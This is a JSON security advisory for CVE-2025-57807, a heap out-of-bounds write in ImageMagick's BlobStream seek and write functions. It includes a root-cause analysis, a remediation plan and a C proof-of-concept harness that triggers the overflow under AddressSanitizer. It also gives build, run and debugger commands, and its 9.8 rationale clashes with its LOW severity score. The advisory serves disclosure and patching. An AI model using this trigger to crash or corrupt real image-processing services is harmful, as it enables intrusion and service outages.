CVE-2025-57807: Magick.NET Q16 x64 ImageMagick BlobStream Forward-Seek Under-Allocation Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-23hg-53q6-hqfg",
  "modified" : "2025-11-03T21:34:26Z",
  "published" : "2025-09-05T20:09:19Z",
  "aliases" : [ "CVE-2025-57807" ],
  "summary" : "ImageMagick BlobStream Forward-Seek Under-Allocation",
  "details" : "**Reporter:** Lumina Mescuwa  \n**Product:** ImageMagick 7 (MagickCore)  \n**Component:** `MagickCore/blob.c` (Blob I/O - BlobStream)  \n**Tested:** 7.1.2-0 (source tag) and 7.1.2-1 (Homebrew), macOS arm64, clang-17, Q16-HDRI  \n**Impact:** Heap out-of-bounds **WRITE** (attacker-controlled bytes at attacker-chosen offset) → memory corruption; potential code execution  \n\n---\n\n## Executive Summary\n\nFor memory-backed blobs (**BlobStream**), [`SeekBlob()`](https://github.com/ImageMagick/ImageMagick/blob/3fcd081c0278427fc0e8ac40ef75c0a1537792f7/MagickCore/blob.c#L5106-L5134) permits advancing the stream **offset** beyond the current end without increasing capacity. The subsequent [`WriteBlob()`](https://github.com/ImageMagick/ImageMagick/blob/3fcd081c0278427fc0e8ac40ef75c0a1537792f7/MagickCore/blob.c#L5915-L5938) then expands by **`quantum + length`** (amortized) instead of **`offset + length`**, and copies to `data + offset`. When `offset ≫ extent`, the copy targets memory beyond the allocation, producing a deterministic heap write on 64-bit builds. No 2⁶⁴ arithmetic wrap, external delegates, or policy settings are required.\n\n---\n\n## Affected Scope\n\n- **Versions confirmed:** 7.1.2-0, 7.1.2-1\n    \n- **Architectures:** Observed on macOS arm64; architecture-agnostic on LP64\n    \n- Paths: MagickCore blob subsystem — **BlobStream** ([`SeekBlob()`](https://github.com/ImageMagick/ImageMagick/blob/3fcd081c0278427fc0e8ac40ef75c0a1537792f7/MagickCore/blob.c#L5106-L5134) and [`WriteBlob()`](https://github.com/ImageMagick/ImageMagick/blob/3fcd081c0278427fc0e8ac40ef75c0a1537792f7/MagickCore/blob.c#L5915-L5938)).\n    \n- **Not required:** External delegates; special policies; integer wraparound\n    \n\n---\n\n## Technical Root Cause\n\n**Types (LP64):**  \n`offset: MagickOffsetType` (signed 64-bit)  \n`extent/length/quantum: size_t` (unsigned 64-bit)  \n`data: unsigned char*`\n\n**Contract mismatch:**\n\n- [`SeekBlob()`](https://github.com/ImageMagick/ImageMagick/blob/3fcd081c0278427fc0e8ac40ef75c0a1537792f7/MagickCore/blob.c#L5106-L5134) (BlobStream) updates `offset` to arbitrary positions, including past end, **without** capacity adjustment.\n    \n- [`WriteBlob()`](https://github.com/ImageMagick/ImageMagick/blob/3fcd081c0278427fc0e8ac40ef75c0a1537792f7/MagickCore/blob.c#L5915-L5938) tests `offset + length >= extent` and grows **by** `length + quantum`, doubles `quantum`, reallocates to `extent + 1`, then:\n    \n    ```\n    q = data + (size_t)offset;\n    memmove(q, src, length);\n    ```\n    \n    There is **no guarantee** that `extent ≥ offset + length` post-growth. With `offset ≫ extent`, `q` is beyond the allocation.\n    \n\n**Wrap-free demonstration:**  \nInitialize `extent=1`, write one byte (`offset=1`), seek to `0x10000000` (256 MiB), then write 3–4 bytes. Growth remains << `offset + length`; the copy overruns the heap buffer.\n\n---\n\n## Exploitability & Reachability\n\n- **Primitive:** Controlled bytes written at a controlled displacement from the buffer base.\n    \n- **Reachability:** Any encode-to-memory flow that forward-seeks prior to writing (e.g., header back-patching, reserved-space strategies). Even if current encoders/writers avoid this, the API contract **permits** it, thus creating a latent sink for first- or third-party encoders/writers.\n    \n- **Determinism:** Once a forward seek past end occurs, the first subsequent write reliably corrupts memory.\n    \n\n---\n\n## Impact Assessment\n\n- **Integrity:** High - adjacent object/metadata overwrite plausible.\n    \n- **Availability:** High - reliably crashable (ASan and non-ASan).\n    \n- **Confidentiality:** High - Successful exploitation to RCE allows the attacker to read all data accessible by the compromised process.\n    \n- **RCE plausibility:** Typical of heap OOB writes in long-lived image services; allocator/layout dependent.\n    \n\n---\n\n## CVSS v3.1 Rationale (9.8)\n\n- **AV:N / PR:N / UI:N** - server-side image processing is commonly network-reachable without auth or user action.\n    \n- **AC:L** - a single forward seek + write suffices; no races or specialized state.\n    \n- **S:U** - corruption localized to the ImageMagick process.\n    \n- **C:H / I:H / A:H** - A successful exploit leads to RCE, granting full control over the process. This results in a total loss of Confidentiality (reading sensitive data), Integrity (modifying files/data), and Availability (terminating the service).\n    \n\n_Base scoring assumes successful exploitation; environmental mitigations are out of scope of Base metrics._\n\n---\n\n## Violated Invariant\n\n> **Before copying `length` bytes at `offset`, enforce `extent ≥ offset + length` with overflow-checked arithmetic.**\n\nThe BlobStream growth policy preserves amortized efficiency but fails to enforce this **per-write** safety invariant.\n\n---\n\n## Remediation (Principle)\n\nIn [`WriteBlob()`](https://github.com/ImageMagick/ImageMagick/blob/3fcd081c0278427fc0e8ac40ef75c0a1537792f7/MagickCore/blob.c#L5915-L5938) (BlobStream case):\n\n1. **Checked requirement:**  \n    `need = (size_t)offset + length;` → if `need < (size_t)offset`, overflow → fail.\n    \n2. **Ensure capacity ≥ need:**  \n    `target = MagickMax(extent + quantum + length, need);`  \n    (Optionally loop, doubling `quantum`, until `extent ≥ need` to preserve amortization.)\n    \n3. **Reallocate to `target + 1` before copying;** then perform the move.\n    \n\n**Companion hardening (recommended):**\n\n- Document or restrict [`SeekBlob()`](https://github.com/ImageMagick/ImageMagick/blob/3fcd081c0278427fc0e8ac40ef75c0a1537792f7/MagickCore/blob.c#L5106-L5134) on BlobStream so forward seeks either trigger explicit growth/zero-fill or require the subsequent write to meet the invariant.\n    \n- Centralize blob arithmetic in checked helpers.\n    \n- Unit tests: forward-seek-then-write (success and overflow-reject).\n    \n\n---\n\n## Regression & Compatibility\n\n- **Behavior change:** Forward-seeked writes will either allocate to required size or fail cleanly (overflow/alloc-fail).\n    \n- **Memory profile:** Single writes after very large seeks may allocate large buffers; callers requiring sparse behavior should use file-backed streams.\n    \n\n---\n\n## Vendor Verification Checklist\n\n- Reproduce with a minimal in-memory BlobStream harness under ASan.\n    \n- Apply fix; verify `extent ≥ offset + length` at all write sites.\n    \n- Add forward-seek test cases (positive/negative).\n    \n- Audit other growth sites (`SetBlobExtent`, stream helpers).\n    \n- Clarify BlobStream seek semantics in documentation.\n    \n- Unit test: forward seek to large offset on **BlobStream** followed by 1–8 byte writes; assert either growth to `need` or clean failure.\n    \n\n---\n\n# PoC / Reproduction / Notes\n\n## Environment\n\n- **OS/Arch:** macOS 14 (arm64)\n    \n- **Compiler:** clang-17 with AddressSanitizer\n    \n- **ImageMagick:** Q16-HDRI\n    \n- **Prefix:** `~/opt/im-7.1.2-0`\n    \n- **`pkg-config`:** from PATH (no hard-coded `/usr/local/...`)\n    \n\n---\n\n## Build ImageMagick 7.1.2-0 (static, minimal)\n\n```bash\n./configure --prefix=\"$HOME/opt/im-7.1.2-0\" --enable-hdri --with-quantum-depth=16 \\\n  --disable-shared --enable-static --without-modules \\\n  --without-magick-plus-plus --disable-openmp --without-perl \\\n  --without-x --without-lqr --without-gslib\n\nmake -j\"$(sysctl -n hw.ncpu)\"\nmake install\n\n\"$HOME/opt/im-7.1.2-0/bin/magick\" -version > magick_version.txt\n```\n\n---\n\n## Build & Run the PoC (memory-backed BlobStream)\n\n**`poc.c`:**  \n_Uses private headers (`blob-private.h`) to exercise blob internals; a public-API variant (custom streams) is feasible but unnecessary for triage._\n\n```c\n// poc.c\n\n#include <stdio.h>\n\n#include <stdlib.h>\n\n#include <MagickCore/MagickCore.h>\n\n#include <MagickCore/blob.h>\n\n#include \"MagickCore/blob-private.h\"\n\n  \n\nint main(int argc, char **argv) {\n\nMagickCoreGenesis(argv[0], MagickTrue);\n\nExceptionInfo *e = AcquireExceptionInfo();\n\nImageInfo *ii = AcquireImageInfo();\n\nImage *im = AcquireImage(ii, e);\n\nif (!im) return 1;\n\n  \n\n// 1-byte memory blob → BlobStream\n\nunsigned char *buf = (unsigned char*) malloc(1);\n\nbuf[0] = 0x41;\n\nAttachBlob(im->blob, buf, 1); // type=BlobStream, extent=1, offset=0\n\nSetBlobExempt(im, MagickTrue); // don't free our malloc'd buf\n\n  \n\n// Step 1: write 1 byte (creates BlobInfo + sets offset=1)\n\nunsigned char A = 0x42;\n\n(void) WriteBlob(im, 1, &A);\n\nfprintf(stderr, \"[+] after 1 byte: off=%lld len=%zu\\n\",\n\n(long long) TellBlob(im), (size_t) GetBlobSize(im));\n\n  \n\n// Step 2: seek way past end without growing capacity\n\nconst MagickOffsetType big = (MagickOffsetType) 0x10000000; // 256 MiB\n\n(void) SeekBlob(im, big, SEEK_SET);\n\nfprintf(stderr, \"[+] after seek: off=%lld len=%zu\\n\",\n\n(long long) TellBlob(im), (size_t) GetBlobSize(im));\n\n  \n\n// Step 3: small write → reallocation grows by quantum+length, not to offset+length\n\n// memcpy then writes to data + offset (OOB)\n\nconst unsigned char payload[] = \"PWN\";\n\n(void) WriteBlob(im, sizeof(payload), payload);\n\n  \n\n// If we get here, it didn't crash\n\nfprintf(stderr, \"[-] no crash; check ASan flags.\\n\");\n\n  \n\n(void) CloseBlob(im);\n\nDestroyImage(im); DestroyImageInfo(ii); DestroyExceptionInfo(e);\n\nMagickCoreTerminus();\n\nreturn 0;\n\n}\n```\n\n---\n\n`run:`\n\n```bash\n# Use the private prefix for pkg-config\nexport PKG_CONFIG_PATH=\"$HOME/opt/im-7.1.2-0/lib/pkgconfig:$PKG_CONFIG_PATH\"\n\n# Strict ASan for crisp failure\nexport ASAN_OPTIONS='halt_on_error=1:abort_on_error=1:detect_leaks=0:fast_unwind_on_malloc=0'\n\n# Compile (static link pulls transitive deps via --static)\nclang -std=c11 -g -O1 -fno-omit-frame-pointer -fsanitize=address -o poc poc.c \\\n  $(pkg-config --cflags MagickCore-7.Q16HDRI) \\\n  $(pkg-config --static --libs MagickCore-7.Q16HDRI)\n\n# Execute and capture\n./poc 2>&1 | tee asan.log\n```\n\n**Expected markers prior to the fault:**\n\n```\n[+] after 1 byte: off=1 len=1\n[+] after seek:  off=268435456 len=1\n```\n\nAn ASan **WRITE** crash in [`WriteBlob`](https://github.com/ImageMagick/ImageMagick/blob/3fcd081c0278427fc0e8ac40ef75c0a1537792f7/MagickCore/blob.c#L5915-L5938) follows (top frames: `WriteBlob blob.c:<line>`, then `_platform_memmove` / `__sanitizer_internal_memmove`).\n\n---\n\n## Debugger Verification (manual)\n\nLLDB can be used to snapshot the invariants; ASan alone is sufficient.\n\n```\nlldb ./poc\n(lldb) settings set use-color false\n(lldb) break set -n WriteBlob\n(lldb) run\n\n# First stop (prime write)\n(lldb) frame var length\n(lldb) frame var image->blob->type image->blob->offset image->blob->length image->blob->extent image->blob->quantum image->blob->mapped\n(lldb) continue\n\n# Second stop (post-seek write)\n(lldb) frame var length\n(lldb) frame var image->blob->type image->blob->offset image->blob->length image->blob->extent image->blob->quantum image->blob->mapped\n(lldb) expr -- (unsigned long long)image->blob->offset + (unsigned long long)length\n(lldb) expr -- (void*)((unsigned char*)image->blob->data + (size_t)image->blob->offset)\n\n# Into the fault; if inside memmove (no locals):\n(lldb) bt\n(lldb) frame select 1\n(lldb) frame var image->blob->offset image->blob->length image->blob->extent image->blob->quantum\n```\n\n**Expected at second stop:**  \n`type = BlobStream` · `offset ≈ 0x10000000` (256 MiB) · `length ≈ 3–4` · `extent ≈ 64 KiB` (≪ `offset + length`) · `quantum ≈ 128 KiB` · `mapped = MagickFalse` · `data + offset` far beyond base; next `continue` crashes in `_platform_memmove`.\n    \n---\n\n## Credits\n\n**Reported by:** Lumina Mescuwa\n\n---",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:L/AC:H/PR:H/UI:R/S:U/C:L/I:L/A:L"
  } ],
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  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-23hg-53q6-hqfg"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-57807"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/ImageMagick/ImageMagick/commit/077a417a19a5ea8c85559b602754a5b928eef23e"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/ImageMagick/ImageMagick"
  }, {
    "type" : "WEB",
    "url" : "https://lists.debian.org/debian-lts-announce/2025/09/msg00012.html"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-122", "CWE-131", "CWE-787" ],
    "severity" : "LOW",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-09-05T20:09:19Z",
    "nvd_published_at" : "2025-09-05T22:15:34Z"
  }
}